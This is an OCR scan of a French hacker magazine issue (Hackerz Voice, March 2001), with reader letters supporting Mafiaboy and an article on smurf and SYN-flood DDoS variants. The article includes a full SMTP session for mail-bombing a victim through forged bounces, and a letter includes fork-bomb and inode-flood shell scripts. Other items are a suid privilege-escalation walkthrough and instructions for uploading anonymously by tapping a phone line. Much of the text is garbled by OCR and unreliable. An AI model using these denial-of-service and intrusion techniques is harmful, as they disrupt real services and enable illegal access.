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Notre place

tderrois! Benouais, Hzvcommence a se fairesa place
ausoleilet c'estpas plus mal pourlesecreurde la pres-

se informarique qui avait besoin d’une voix alter-

native. Grice 3 vos cririques toujours constructives (sauf celui

qu'arréte pas de nous envoyer ses pauvres troyens en ".exe” faut

qu'il arréte). Bien entendu, c'est grice A votre soutien, tant moral

que financier (hé hé !) que cela est possible. DMP est une mai-

son d'édirion indépendante, c'est cette volonté de s'affranchir des

pressions qui nous interdit de placer de la publicité dans ce jour-

nal. On vous promet de pas lacher I'affaire et de continuer i

saméliorer. Dans ce numéro Newbies et princes de la hack rrou-

veront léur bonheur. On essaiera toujours de conrenter les deux

populations vu que rout le monde était Newbie au départ non ?

Et pi pas de journal sans ga alors zavez pas le choix. On le prou-

ve dans ce numéro - ci, et dans le prochain qui sera un

SPECIAL TROYEN avec un gros gros cadeau i 'intérieur.

TOMMY LEE

Hackerz Voice demande officiellement
la rupture des relations diplomatiques avec
le Canada et l'envoi du Charles de Gaul-
le au large de Québec. Il est impossible
de transmettre vos messages 3 Mafiaboy,
étant mineur son identité est secriéte,onles
enverradone di ment au ministre cana-
dien de la justice,

HZV

Mafiaboy a plaidé coupable le 18 janvier
des principalas accusartions rerenues contre
lui pour éviter un procés long et cofitenx
devantla Chambre de la jeunesse 4 Mont-
réal. Tl vienr donc d'étre reconnu cou-
Fa ble des 55 accusations qu'il avait contre
ui, bilan : 2 ans de zonzon et 660 dellars
d'amende..

Méme si le smurf (voir notre article)
qu'il a dirigé vers de nombreux serveurs
commerciaux a été tres coiiteux, il n'en
4 pas moins été utile pour la NSA qui a
vison hud.ﬁet augmenté pour pouvoir lut-
rer contre de tels "fléaux”. No comment

GlupZ
VOS REACTIONS

delponts@club-interner. fr
Je soutiens bien sur de tout coeur comme
vous mafiaboy, et jaimerais

Netographie

On ne compte plus les sites de hackerz,
vrais ou fauyx, infiltrés ou non par la
Palice ou des officines privées pas toujours
trés clean. Impossible de faire la parc des
choses. Le nerdemeure le lieu de toutes les
intox, fausses infos, rumeurs er manipu-
larions en touts genres. La petite sélF:!c-
tion d'adresses que nous publions doit done
étre considérée avec une infinie pruden-
ce. Nous la publions 4 titre d'informa-
tion, pour que :haqu: lecteur puisse, en
responsabilité, se livrer 4 son édification
personnelle, Elles sont, & notre avis, une
assez bonne synthése de ce qui se diffu-
sesur Internet & propos du hacking.
Haclkerz Voice les publie volontiers a
titre d'informarion, mais se désolidarise
évidemment de tour ce que ces pages
web pourraient contenir d'illégal.
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vraiment que cette histoire fasse avancer
les mentalirés sur ce sujer.
Vince.

CrAzYpOUpdE@aol.com
Jesoutient aussi Mafiaboy. Il faur qu'il sorce
de zonzon!!

dragan@netcourrier.com

o ; Ll
pour finirje voudrais savoirsil'on peut rea-
gir a linjustice sur maﬁalm}r.,

SPIDERKAOS@aol.cam

ON PEUT ENFERMER UNE PER-
SONNE MAIS PAS SON INTELLI-
GENCE...!!

le 57 en force soutien mafia boy

Jjagwoar@yahoo.fr

Mais qu'est que c'est que cette loi idiote
du Canada?!! Nimportnaouak! Quelle
bande blaireaux! Y'a des ronnes d'abruris
(surtout 1, mais je sitterais pas lenom, tour
ce gque je peut vous dire, c'est que ga
commence par bill et que ga finit par
Gartes..)qui mérireraient d'ecres enfer-
més mais pas un gars de 16 ans qu'as
rien fait! Moi je dis courage pour mafia-
boy on est avec toi !

Jagwoar

LA HONTE !

hacknet@chez.com

Bonjour, moi je trouve ga completement
inhumain de mettre en prison un geune
de 16ans en plus il est en préventve et il
ne sait méme pas quand va avoir lieu
son proces. Moi je dis que la justice dans
le monde entier, est completemnt nul et
archie nul. Mais moi je dis que les hac-
kers, devrait étredécorés pour le savaircar
c'est dur. Je serai une entre prise au Cana-
da, je donnerai, plein d'argner pour qu'on
délivre mafiaboy et que je l'emboche car,
il pourrait m'aider i construire des sites
encore plus sécurisés.

ONESTTOUS AVECTOIMAFIA
BOY ET COURAGE.

@+ h@ckner

CELINE-DELET TRE@wanadoo.fr

Ce sont des connards !

Metere quelgu'un en tauled 16 ans, er pour
rien en plus !

llsne savent plus quoi inventer pour essayer
de le mettre derriere
les barreany.

On est tous avec roi I!
Gros bisous,

et bonne chance, on suit laffaire de trés
prés, et prets a te defendre |

Céline

DrMadgid@aol.com

Jje veux babord crier un grand cris d'hor-
reure,de dégour profont de labétise humai-
ne qui ne connait aucune limetes. cris de
soufrance,de compassion pour cet
enfant,mon perit frére.vous laurai com-
pris, je tien a me solidariser de ce perit
cannadien surn mafiasboy, de cet effroyable
cauchemare que vit en ce moment ce
petit frere a rous, (...} je suis avec toit
mon frére et sahe que tu peut comper
sur moi pour de defendre a linterieure
conseile etc.

i vous tous quis heavre pour une liber-
ter et plus encore une philo que jadere
et vous dit a rous bon courage car votre
racheest et plus ellejustifie votre demarche
malgre les menaces eraurres quevous devez
recontre et cela sans cesse , je (...} vous
encourages tous dans vorre combar.i
love you'rire's

pour l'instant, car pour vivre heurewx vivon
en rtotale annoniima.  milles
bisounuuuuuinuuus

breysse.simon@voila.fr

Nous vous apportons tous notre soutien
dans votee lutee contre cette

détention abusive.

courage mafiaboy et que la force soit
avec tol.

Alte aux opressions capitaliste.
Simon&Nico

Devant le succes et sous ves applaudissements,
HACHERZ VOIGE passe a 20 pages (tous les deux mois)
des le numéro 4

Prochain numéro le 1 mai 2001.
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Syn Flood , Smurf, mail bombing....

Une lecon de Hack by Mister Slash

Mister Slash nous explique la vie...

Figure emblématique du hack éthique, Slash adresse a
HZV, une lettre sévére, parfois injuste, mais constructive.

Nous la publions intégralement en préambule d’'une

lecon de hack magistrale et inspirée de ce pirate d’élite a

I'intention des plus pointus de nos lecteurs.

Salut les Cowboyz...

< < Intéressé par la sécu info, je lis en
général tout les mags en traitant...
Et le votre (hackzerVoive Ndlv) est
de loin le plus nul (pire que PC Max,
cest dire).
Vous prenez un style volontairement
racoleur, vous faisant passex pour des
backers alors que vous ignorez le sens
meme de cemot : un hacker n'est pas par
définition un pirate, c'estun firudes nou-
velles techmologies, Vous critiquez Micro-
soft en suivant la mode alors que vous
nétes méme pas capable d'expliquer
pourguoi (tiens d'aillewrs, faut quand
meme pas abuser au niveau de source
Linux dans Windows Me, ca fait une
Eterntité qu'une partie des codes TCP/IP
de Microsoft viennent de BSD. En ce qui
concerne sa stabilisation, il faut pas exa-
geré, faire un systéme instable avee du
code stable I1),

Le sparmming n'est pas (plus) critiqué
car ca bouffe de la bande passante
mais parce qu'il est désagréable de
recevoir des mails disant d’aller visi-
ter un site sans intérét. Vous critiquez
cewx quigwenlent contre le commerce sur
Internetmais vous ne les avez méme
Ecouter ; je préfére payer un weces d
wn Internet de qualité, non surchargé
par des sites inutiles (quand je vois
que les 3/4 des sites commereiaux ne
contiennent rien d'autre qu'un plug-in
shock-wave, ca méceure.. ).

Vous dites gue U'accés Internet est
devenu quasi-gratuit grice aux entre-
prises, vous oublicz que la concurren-
cesur lescommunications téléphoniques
7y est pour bien plus..

Vos DOS depinf!hcd' et de pingo'dea-
th sontout et mal expligués (je swis déso-
& mais un ‘ping -f' w'est pas limité
par la bande passante du provider
mais par celle de ordinatewr (en
genérale bien plus faible)).

Bon, passons & Profs qui croit apprendre
quelque chose & quelgqu'un, Il aurait
du .s'appelerSimpEeL FEranchement, croi-
re que toutes les personnes de #linux-
frsavent recompiler une Debian les yewx
fermés faut dire franchement con :la moi-
tié ne Uont jamais installé. Bien sur il
savent o trouver ['info si elle lewr
dtait nécessaive. Et il dit qu'il sont pas

bles s normal il d di it

on fait pour recompiler un noyau alors
que c'est écritd S0endroits (@ moins qu’il
ait parlé au bot X...).

Autre chose, pour planté nux, je vais
lui donner deux petits scripts (@ lan-
cer en rook si les quotas sont activés)
qui mettent 2.4 15 mn (15 mn sur un
SuperCray sans doute) :

# foo.sh

Soo.sh & ffoo.sh& [ foosh & . /foo.sh
& Sfooih &

#/bin/sh
# inodeflood sh mkdir foo od foo cp
.finodeflood.sh . /inodeflood.sh &

On passe & la suite o vous en avez
dssez ?

Vous soutenez MafiaBoy, prétextant que
Cest une conmerie qu'il se serait dénon-
cer sur IRC 2 Faut pas réver, dans ce
cas la, il ne seserait pas fait chopper. Clest
peut-étre pas lui, mais dans ce cas [a
il me vaut pas micux que Cautre (crier
sur tout les toits quil a planté Yahoo,
eBay...} : e m'est qu'un ztmcr de plus.

Abenfinquelque chose de bien... Williarm
Gibson, un autewr génial...auprés du
grand public. Votre T-Shirt m:}{itpitie’
(surtaut le prix).

Au final, je trouve que 20 balles les
16 pages de merde c'est cher payé,
surtout pour un mag écrit par des
Cowboy-Lamers ne comprenant méme
pas que la sécu info bouge, que les
failles d'il y @ 10 ans ne marchent plus
mainicnant. Votre premier mag s'est
peut-étre bien vendu mais cest d"abord
parce qu'ily a beawcoup de lamers, ensui-
tecar onlitun mag avant delejuger (j'ai
pas lu votre premicr mais d'aprés cer-
taines sources ils ne seraient pas miewx).
Faut arréter de croire qu'un hacker
c'est un mee du type du film de merde
‘Hackers' :ﬁwnczmlmtpmcz & autre
chases, je sais pas aller faire poussez
des poireaus,

Tiens, juste une question, vous savez
cequ'estle Van Eck Monitoring2?: Ciao
les lames...

8/ ash, membre de la ReC (wwwirtc.frust)
PS : Le Van Eck Monitoring est aussi
surnommeé technologie Tempest.n

Distributed Derial Of Service

= §/ash [ReC]

Comment hien menep
une Smurt* atiague

Les failles de I’IP ont été *SMUREF : méthode chere

a Mafiaboy consistant a uti-
liser d'autres serveurs pour

utilisée a plusieurs
reprises dans le but de
couper I'accés a certains

mener I"attaque.

services ou de faire cra-
sher des systémes. Une de ces méthodes est le SYN
flood (DOS) et une autre est le Smurf (un DDOS).

En réfléchissant sur I'établissement des connexions TCP,
jai relié les deux méthodes précédentes pour créer un
nouveau DDOS que j'ai nommé le SYN Smurf. Puis,
quelques autres méthodes de smurf me sont venus a
I'esprit tout comme une méthode de mail-bombing.

Ces méthodes n'ont pas été, a ma connaissance,
rendues publique avant le mag 4 de la RtC.

Les informations contenues dans cet article ne sont pas
la dans un but immoral mais seulement pour le savoir et
Pintérét de celles-ci.

e——————
@ COMMENT LE PIRATE PROCEDE-T- IL ?

L Bases de I"IP, du TCP et de I"UDP utllisé icl

LICMP Echo
Un message ICMP est paquet IP avec un header du style :
F 7|8 15]16 31

rype | code | checksum |

ident | numéra de séquence |
|

données oprionnel (si nécessaire) | :

Le message ICMP Echo request est la requéte ICMP type 8 co&e
0 qui nc?ah: que demander & la destination de répondre par un
message ICMP Echo Reply (ICMP type 0 code 0). Ce message 4
é1é créé pour l'entretien des réseaux et la vérification de la dispo-
nibilité d'une machine de destination.

Done, pour faire un ICMP Echo, on se contente d'envoyer un paquet
IP contenant I'header précédent avec le type mit 4 8 et le code
mis a 0. puis nous attendons la réponse qui est un paquec IP avec

I'en-téte précédent avec le type et le code mis 3 0,
HACHERZ VOICE/MARS. 2001
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. COMMENT LE PIRATE PROCEDE sure oeLap 3

Ce que dit |a loi en france

« Lacses el Ie maintien frawduieux total ou partiel dans tout ou partie d'un systéme ou déit d'intrusion
ot puni par 'article 323-1 d"un an d'cmprisonnement et de 100 000 irancs d*amende ».

I 2 Connexion TCP

Len-tere TCP :
01516 31

s |
Numére du port source (16 bits) | Numéro du porr de dhscia:
tion (16bits)|

+ . L I
numéro de séquence sur 32 bits |

numéro d'acquittm:nr sur 32 bits |
I

longueur de l'entéte '1-| 6 | flags 6| raille de fenétre sur 16-bits |

checksum sur 16-bits | pointeur urgent sur 16-bits | I

options (s'il y en a)

dennées (¢l y en a)

oil les flags sont :

URG : le pointeur urgent est valide

ACK : le numéro d'acquittement est valide

PUSH : pour gue le gestionnaire réseau passe la trame le plus vite
possibie au soft.

RST : réinitialise la connexion.

SYN : signal de synchronisation pour les numéro de séquence

FIN : fin de la connexion.

Une connexion TCP se fait en trois étapes :
~Tour d'abord, le client demande une connexion 41 héte en envoyant
un paquet dont le flag SYN (paquet SYIN) est activé.
- Ensuite, 'héte répond soit par un paquet dont les flags SYN
er ACK sonractivés paquer SYN+ACK) si laconnexion est accep-
tée, soit par un paguet RST si la connexion est refusée.
- Enfin, le client doit répondre avec un paquer ACK pour ouvrir
la connexion,
Un point i retenir est que, si un ordinateut regoir un paquer SYN+ACK
alors qu'il n'a pas demandé une connexion, il doit répondre par
un paquet RST.

L 3 Un petit peu d"UDP
Bon, d"abord, I'en-téte UDP :
?15|16 £}

| numéro de pore (16 bits) | numéro de pore de destination
16bis) |

UDP lengch - 16-bits | checksurn - 16-bits |

données (51l y ¢n a)

Ensuite, expliquons comment un héce réagit lors de la réceprion
d'un paquer UDP sur un port fermé :il répond simplement par un mes-
sage ICMP Port Unreachable (ICMP type 3code 3) sileporrest fermé.

Une expiloitation des falblesses de I'lp

LE SMURF

Le Smurf estune varian-
te de I'ICMP Ping flood.
Cette méthode de fiood a
6té énormément utilisée
par le ‘hacker' (lamerest
unmeilleur mot pour lui)
appelé MafiaBoy lors
du crash de Yahoo et
consort. L'ICMP Ping
flood est une vieille
méthode de flood ne fone-
tionnant que surdes ordi-
nateursfaibles (e lamer
habituel utilisant Win-
dows 9x et ADL). Pouruti-
lisarcette méthode, nous

LE SYN FLOOD

LeSYN{flood estbasé sur
I'exploitation de fai-
blesse des serveursdans
I'implémentation TCP.
Son principe est d'en-
voyer énormément de
demande de connexions
TCP au serveur pour le
fNooder,

En fait, si vous envoyez
un paquet SYN, le ser-
veur doit vous répondre
pourdire sila connexion
est acceplée ou non.
Donc, cette méthode

nous contentons d'en-
voyer ume masse de
requéte ICMP Echo conte-
nant beaucoup de don-
nées. Biensiir, ungbonne
bande passante est
nécessaire pour exploi-
ter ce flood.

Le Smurf consiste 3
envoyer vers un grand
nombre d'hite une requé-
te ICMP Echo contenant
IIP de la victime dans
le champs IP de I'expé-
diteur. Puis, toutes les
machines recevant la

repose sur 'envoi d'un
(grand nombre de paquets
SYN 2 I'hite sur un port
(en général ouvert),
celui-ci sera alors floo-
dé par le nombre de
réponses 3 envoyer.

Sur certain servaurs, le
problémea été résolu par
I"arrét de |a gestion des
demande de connexion
aprésuncertain nombre
de paguets SYN venant
de la méme machine
dans un certain laps de

requéte IGMP Echo vont
répondre par un ICMP
Echo Reply vers la vic-
time qui sera overlloo-
dé par le nombre de
réponse. Pourcela, il faut
utiliser des adresses
debroadcast pour la des-
tination des ICMP Echo

request.

Une solution qui a été pro-
posée est de désacti-
ver I'ICMP Echo sur les
adresses de broadcastau
niveau des routeurs.

Une exploitation des faiblesses de I'lp

temps. Surd’auires ser-
veurs, les messages ne
sont plus gérés aprés
un grand nombre de
paquets SYN regu : sur
ceux-ci, onobtiant alors
un DoS qui ferme un port.
Mais, sur la plupart des
machines, corriger cette
faille est devenu inuti-
I de par la montée en
puissance des ordina-
teurs.

En France, I"arme principale de I'arsenal
|uridiquedispenitie contre leshachsrs demeu-
rafa loi Godirain du § janvier 1988 « 16lative

par une persanne non awiorksde & |tiliser.
La loi prévoit aussi que si I'accés ou le main-

fien
:

ou la modification de donndes, ou

ment que « I'accés et le maintien frouduleux
total ou partiel dans tout ou partie d'un sys-
téma o délil d'intrusion est puni par I'arficle
323-1 d'un an d"emprisonnament et de 100
000 francs d'amende «. Ce délit est constitué
dés lors que n'importe guelle technique est

méme une simple altération, méme involon-
taire ou par maladresse, los peines son!
doutides.

Lorsque I"sction est volontaie, I"article 323-

Il faut savoir que la simple tentaiive, non
suivie de réussite dome, est punle des mémes

peines. Enoutre,

pables d'un de ces délits encourent, en plus
de |2 peine principale, des peines complé-
mentaires Enumérées  ['article 323-5. Les per-
SoAnES mmm comme les entreprises ou

employde pour accéder ]
un systéme protagé. |l ['est aussi dans le cas
de I'utifisation d'un code d'accés exact, mals

HACHERZ VOICE/MARS 2001

lous les

2 prévoit 3 ans d'smprisonnement el 300 000  les

francs d'amende. La encore, Ia loi texte vise encourent les
édés el toutes les techniques # I'arficle 131-39 du nouveau

ulilisées, m&me calles inconnues au momenl  code pénal.

de Fa rédaction de la lal. Cetle disposition

Recuperer

tes adresses
fle broadcast
a travers Internet

Bon, avant de faire une attaque smurf, il nous
faut récupérer des adresses de broadcast.
Bien sur, il n'est pas facile d’en trouver des
efficaces mais il y a un moyen de faire.

Cette méthode donnée par Craig A. Huegen
consiste 4 pinger simplement des adresses de
broadcasterde garder seulement celles quiren-
voient plus d'un certain nombre de réponse ping.
Cerre mérhode resre valable pour les autres
attaques smurf dont je vais parler mais néces-
site cependant d'érre légérement changée (on
ne peut, par exemple, plus uriliser de seript).

Alors, voilalesscripes de Crai
silr, je ne garantie pas que
tionnent ou non (je ne les ai pas testés):
[Voirles fichierships.sh etchekdupsh] Tlyaun
probléme dans ce scan : 5i vous pingez un
gros broadcase, vous récupérerez énormé-
ment de réponse et votre connexion risque
décla- de lacher.
Un autre probléme est que ces scripts ne per-
mettent pas d'obtenir de nouvelles adresaes
debroadeast mais nous dit seulement si un broad-
cast vaut la peine d'etre ul

?‘\.Huegen. Bien

es seripts fone-
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Les nouvelles methodes de Smurf

Le SYN Smurf

Une nouvelle maniére que j'ai découverr
d'overflooder des ordinateurs repose sur
I'envoi i travers des adresses de broad-
cast de paquet TCP SYN sur des ser-
veurs (comme les serveurs Web sur le
port80) qui répondront soit par un paquet
T soit par un paquer SYN+ACK.

Un paguet RST floodera s:'.mpiemen: la
pile TCP, mais un ACK+SYN escplusineé-
ressant car il nécessite une réponse de la
victime et floodera ainsi les process TCP.
Cette méthode est donc trés simple
vous réutilisez la méthode de Smurf
classique mais avec des paquets SYN (d'ois
son nom SYN Smurf),

Je pense pas qu'il y existe des ordina-
teurs ou des routeurs qui interdisent le
broadcasting de paquets TCP mais cela

s¢ peut.

L'UDP Unreach Smurf

Un autre moyen que je pense plus effica-
ce pout flooder est l'utilisation de la répon-
se 4 un paquet UDP sur un port fermé.
Apreés avoir requ le paquer UDP (sur un
port fermé), la machine héte doit répondre
par un message ICMP Port unreachable
(ICMP rype 3 code 3).

Sivous utilisez cerre méthode sur un broad-
cast, une tonne de message ICMP Port
unreachable sera renvoyée i la victime
qui crashera probablement.

Pour cette méchode, la seule solution
que je voie est de configurer tous les
héresdu réseau pour ne pas répondre auro-
matiquement au paquet UDP broadcasté,
Bien sitr, il y a peu de chance d'y arriver
vu le nombre d'ordinareurs sur Internet.

L'ICMP Unreach Smurf
Cetre méthode est roralement théo-
rigue. Elle consiste i envoyer des paquers
(den'importe quel type) sur des machines
n'existant pas. Tourt les routeurs répon-
dront par un message ICMP Destina-
tion unreachable (ICMP type 3 code

0-1).
(oo

Bien sur,il ya pen de chance que cela marche
sur adresse de broadeast (aucune en
fait) car la seule solution est alors d'uri-
liser le runneling (un réseau entier avec
le tunneling activé 2).

Cetre méthode est senlemenr un apercu,
je pense qu'il n'y a aucun moyen de l'uri-
liser. C'est seulement pour dire que
beaucoup de méthodes de smurf peu-
vent étre exploité en urilisant les réponses
automatiques des ordinateurs & certains
messages. Je pense que le smurf a encore
une longue vie devane lui...

Un DDOS
le mali-bombing

pour
Il s'agit d'un mail-bombing, Quelestlelien
avee le smurf 7 Il s'agit juste de la méme
idée : vous envoyez un long mail avec
une tonne d'adresses de destination
fausse, Bien sur, ce mail contient l'adres-
se de la victime au lieu de la votre (pour
cela, allez voirun article sur lamaniére d'en-
voyer des mails anonymes :ilyaena
une tonne dans ['underground). Le résul-
tat sera que leserveur demail répondra par
votre long mail et un en-réte disant que
l'adresse spécifiée n'existe pas.

Je n'ai pas fait code pour faire ¢a : cest
tellement facile de le faire 4 la main.
Bon, imaginez que vous voulez flooder
laboite devicrim@lamer.org, Une métho-
de habituelle ese d'envoper ungrand nembre
de mail.

Une mellleure
méthode

Une meilleure méchode est d'envoyer
un mail avec plusieurs fausses adresses,
comme ceci {en utilisant le server mail
de isp.ner).

evil% telner mail.isp.ner 25

Trying ...

Connected to mailisp.net escape carac-
teris ]’

220 mail.isp.ner Sendmail 8.8.5-8,8.7 ready
ar Mon, 15 Nov 93 13:35:11 EST

hella

250mail.isp.net Hello {evil.domain.com),
pleased to meet you

mail from: viccim@lamer.org

rept to: victim@lamer.org

dara

From: victim@lamer.org

to: xx@random. ble, xxy@random.ble,
xyx@random.ble, yxx@random.ble,
xyy@random.ble, yxy@random.hle,
yyx@random.ble, yyy@random.hle,
xyz@random.ble, aza@random.hle,
dsq@random.ble, dst@random.hle,
iga@random.ble, mad@random.ble,
laz@random.ble, gha@random.ble,
Ier@randnm.hla, ric@random.hble,
eo@random.ble, red@random.hle,
oxx@random.ble, drm@random.ble,
fhi@random.ble, cia@random.ble,
kob@random.ble, dea@random.ble,
fah@random.ble, dos@random.ble,
win@random.ble, bil@random.ble,
mic@random,. bie, ros@random.ble,
oft@random.ble, mac@random.ble,
ppp@random.ble, net@random.ble,
gov@random.ble, edu@random.ble,

fuc@random.hle, kio@random.ble,
the@random.ble, bhz@random.ble,
cri@random.ble, pin@random.ble,
hui@random.ble, hhh@random.ble,
gga@random.ble, iii@random.ble,
jii@random.ble, lll@random.ble
Subject: [ want to flood you Yeah, it's
Jjust a flooding message. make it as long
as possible.

Bye, bye and enjoy my message...

250 Ok

quit

221 mail.isp.net closing connection
Connection closed by ircig—n host.

wosrt, wild, way
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Aprésceci, victim@lamer.org recevra envi-
ton 50

messages disant que I'adresse de desti-
nation est invalide...

Lasolution  ce probléme est trés simple :
configurer les serveurs mail pour ne pas
répondreaprésun certainnombre d'email
dans la destination..,

L'avenir :
ie smurfing et I"IPvE

LIPv6 est maintenant défini et sur le point
d'érre urilisé sur Interner. Done, la
question narurelle est quels sonc les cor-
rections apportées contre le smurf? La
réponse estsimple : plus d'adresse de broad-
case.

C'est une bonne méthode contre le smurf
car les adresses de broadcast sont rrés
simple 4 récupérer (elles onr ronjours la
méme formar). Etilya Eeu de¢ per-
sonnes qui en ont encore besoin. Bien
sur, il y a encore le mulricast (on ne
peut le retirer a cause de son urilité),
mais obtenir des adresses de multicase
estplus difficile qued‘obtenir des adresses
de broadecase.

Mais lameilleur protection contre le smurf
reste de retirer des implémentrations de
I'TP les réponses automariques i des paquets
broadcasté (comme lesréponse ICME, les
paquers TCP SYN+ACK ou RST,ICMP
Unreachable erc...).

A s lecteurs

Les informations publiées dans
Hackerz Vioice ont un objectif pure-
ment documentaire. Le journal
rappelle & ce titre que |e piratage
informatique, sous quelque forme
que ce soit, est un délit (lire page
7). Hackerz Voice condamne natu-
rellement toute forme de piratage
et soutien sans ambiguité les
actions qui luttent contre la cyber-
criminalité.
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GRAND CONCOURS HACKERZ VOICE

1€ et unique prix :

Un voyage tous frais payes avec la rédaction de HZV & Las Végas , dans un hdtel de folie,
en compagnie de |'élite mondiale de |'Underground informatique...

Elite and Legal" &y~

14
Les wargames, vous commissez%%: moyen d'élargir ses connaissances en hac-
king sans risquer de se recrouver avec un compagnon de cellule nommé Joe; en bref
c'est du hacking 1égal. Vous voulez jouer? Alors prenez une boisson (les vrais hac-
kers boivent du soda, pour la caféine) et telnercez sur drill.hackerslab.org (telner
c’escun protocole de communication, sous windoz c'est telner.exe). Le premier
niveau est tranquille, lelogin et passwid sont fournis: level0” er'guest’, Entrez leser... vous
voila face 4 un shell mais qui est un pen restreine, nous allons done chercher &
gagner plus de priviléges. Mais d’abord un peu de théorie, sous Unix, les pro-

grammes tournent avec les privileges de celui qui I'a lancé sauf s'il est suid, dans
ce cas il tourne avec celles de son propriétaire, par ex. le fichier:

srwir-xr-x  lroot root 15256 Oer 4 00:08 su*

est suid, comme l'indique le 5. Notre travail consiste done 4 chercher un fichier
suid qui nous permettra de passer au niveau suivant (levell), bien sur, vous pou-
vez toujours chercher manuellement, mais pourquoi faire simple lorsqu'on peut faire
complexe (comme envoyer un oversized packer alors qu'on peut envoyer un over-
fragmentated overlapping packet, si vous n'y comprenez rien souriez et continuez
alire ;) la norme POSIX prévoit pour ces tiches un utilitaire nommé find (FF
chez M) dont les options qui nous intéressent sone: -user le nom du proprie du
fichiet, -perm les permissions d'urilisarion du fichier (Lire, écrire, exécuter,
suid...). Maintenant reste 4 savoir ce que I'on veur, la plupart du temps un back-

— door se résume simplement & un shell, done si le backdoor éeait suid root on

+ Quel est le principe du concours ?  car du jeurnal demewre souverain paur appreé-

Clest un concours dsrticles, Le meilleur gagne,  cier l'opportunité de publier ounen chaguearricle,

75 P R TR s | Poq €

< Qui décide de qui est la meilleur 7
Les lecreurs cus-mémen, qul voreront powr les

Réception des aricles :
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des arviclea de la premiere sélecrion

publice dares lo n®1

-+ Qul peut participer 7

Toust I monde, & pareis de 18 ana,

- Jusquan 15 aveil pone a cécep-
rion des arricles de la dewxiéme nélec

thon publide dane la n°4

« Comiment participer et comment se Votes

déroule le concours 7 - Dernier ballerin accepee jusqu'an
1/E iere érape | Al doi Juagu'an 15 juin pour la deuxiéme
par mail unig {con i dmp- selecrion,

france.com) |, feurs arcicles de 2300 4 2500
signes maximum (espaces compris), compor-
rant un ritre de 36 signes maxtmam (espaces o Comment est déterminég
compris), sur le thime du hacking. Les candi- @ gagnant ?
dafs ne respectant pas ces contrainres serant  Le gagnane sera celui qul aura réani le plus de
Elimings. suffrages, séleceion 1 et 2confondues. En cas diex-
nequa, le védacreur en chef désigne, seal,ec de Fagon
2/ Le rédacrenr en chefl du journal décide  mpitoyable, le vaingueur, Les résulrars désaillis
{senl}ecsélectionne I0articles quiseront publiés  seront publiés dans le numeéro & de HZW {juin
en page 7 du journal £ § dane e numérs 3&r S 2001), Le gagnane seea prévens directement dis le
dans le numiéro 4., 20 juiller.
Ok 2
3/ Pourlereste. c'estlesh % oK i
vorent poar lemeilleur papier en urilisant lebul - Et n'oubiiez pas : C'est vous, lacteurs,
letin publié dans le journal (copies refasées 1. nquil anverre: & Las végas calul gus
vous jugerer ke mefleur pour repré-
santer I8 journal an Def Con 2001 |

DEF CON Nine
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aurair rout de suite le pouvoir total ce qui en soi n'est poine désagréable; mais les
game masters ne sont pas dupes et n'ont probablement donné que les priviléges néces-
saires & passer au niveau suivant au backdoor. Notre recherche sera donc find -
perm +u+s-user levell mais alorsonadroita un tas demessages' Permission denied’,
unsimple filtrage des erreurs nous débarrasse de ces nuisances, ajoutezjusee 2> /dev,/null
i la commande er vous obtenez /dev/.hi; mainrenant exécurez-le (/dev/.hi) ec
vous voild au niveau 1, tapez /bin/ pass pour avoir le nouveau mot de passe et
VOUs pouvez YOUs attaquer au niveau suivant (woubliez pas de vous reconnecrer).
Voila, j'espére que cela vous a donné envie de grimper les 15 échelons de drill ou
vous apprendrez le packer spoofing, les exploits...

.

LE SOCIAL ENGENEERING

L
La b:ﬁ’:dn-?ﬁ‘sa@ surveillance de  Sniffinget [P spoofing: cesdenx rechniques
la cible & attaquer, veille se nomme  demandent cerraines capacirés techniques.
le Social Engeenering. Pour cels, le pira-  Savoir utiliser ces deux méthodes rendent
te doit é(ufl'cr sacible, sonnom, pré- les pirares dangereux. Plus complexe,
nom, date denaissance, famille, sonsystéme  plus technique, ces deux méthodes de pira-
informatique, I'intéréc écant de décou-  tages s'adressent i de vrais rechniciens (
vrir le mot de passe urilisé par ce der-  déseléles newbies!!). Méme s'il existe des
nier. logiciels de sniffing, il n'est pas donné 4
rout le monde de les uriliser. Le sniffing
Ilyaplus d'unan, un sice dédi¢ ala consiste d programmer un ordinateur
sécurité informatique, adécouvertque des  quiregardera, sniffera, les messages qui tra-
pirates avaient réussi d voler le fichier de  versent le réseau. Dans ces paquets d'in-
100000 clients d'un fournisseur d'espa-  formations, il pourradonc étre possiblede
ce web, Dans ce fichier, 40% des mots récupérer les mots de passe, les infor-
de passe étaient le prénom du webmas-  mations privées, etc, Pour ce qui est de
ter. Je vous passe le reste des mots de  I'IP Spoofing, le pirate se fait passer
passe qui variaient entre "thebest et pour vous, en usurpant votre adresse IP.
sexe". Dans sarecherche le pirate va  Comment fait-il? Lepirare change l'adres-
aussi érudier le systéme informatique  se IP de son ordinateur pour faire croire
que vous utilisez. Combien de webmas-  qu'il est un client certifi¢ par le serveur,
tersouautres responsables systémes n'ont Il va ensuite construire une route sour-
pasprizslapeine dechanger lemorde passe  ce jusqu'au serveur. Il envoie une requé-
d'origine, assigné parle constructeur. Cela  te client au serveur en urilisanc la rouce
risque de faire désordre si votre systéme,  source, Le serveur accepre la requéte du
vorre site, se faic pirater, Surtoutsilecurieux  clientcomme si elle provenait vraimentdu
aludans la norice de votre systéme, que  systéme certifié. Les informations n'au-
votre mor de passe de base est”root ", ront plus qu'd écre lues par l'agresseur,
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Comment uploader
annonymement 777 .

Question que je me suis mainte fois
05é,

Isolution celle du cybercafe;

-Graver les infos a uploader les amener

au cafe le plus loin de chez soi et

SUrtout ne jamais y revenir.

2Zesolution un peu moins légale
-Vous prenez vorre portableavec modem,si
vous étes pauvre comme moi ,vous vous
ayez un convertisseur DC/AC
12V /230V, 150W Minimum c’est une
petite boite que l'on trouve 4 Norauro
ou méme i Surcouf pour 400 franc qui
se branche sur l'allume cigare et génére
un courant alternanif sinusoidal
2 50 hertz 230V
Avec ce convertisseur qui pompe pas
mal ne pas laisser son PC allumé, trop
longtemps sinon vous ne redémarrez
pas mais cela vous laisse le temps d'uploa-
der quelques mégas sachant

- Vious mettez L 'unicé centrale de votre
PCsurlabanquetrearrierede lavoitureen
ayant pris soin de débrancher tous les
ériphériques pourmandsen électrons car
Lpuissance du convertisseur est limitée

Laissez le strict minimum : caree
mére,disque dur cartevidéo et I'écran, c'est
tout car les 150W sont tres vites acreines.
- Sur le HDD vous copiez un program-
med installation d'un provider gratos [ Vinu-
net Ménet..)de préférence assez rapide i
installer pour pas rester 3 plombes dans
la woiture i installer votre programme.

- Vious achetez une rallonge 10 m termi-
née par 2 R]14 vous

coupez un des céte et sur les 2 fils res-
tant, vous branchez 2 pinces crocodile,

- Attendez la nuit(un phreaker ne vit
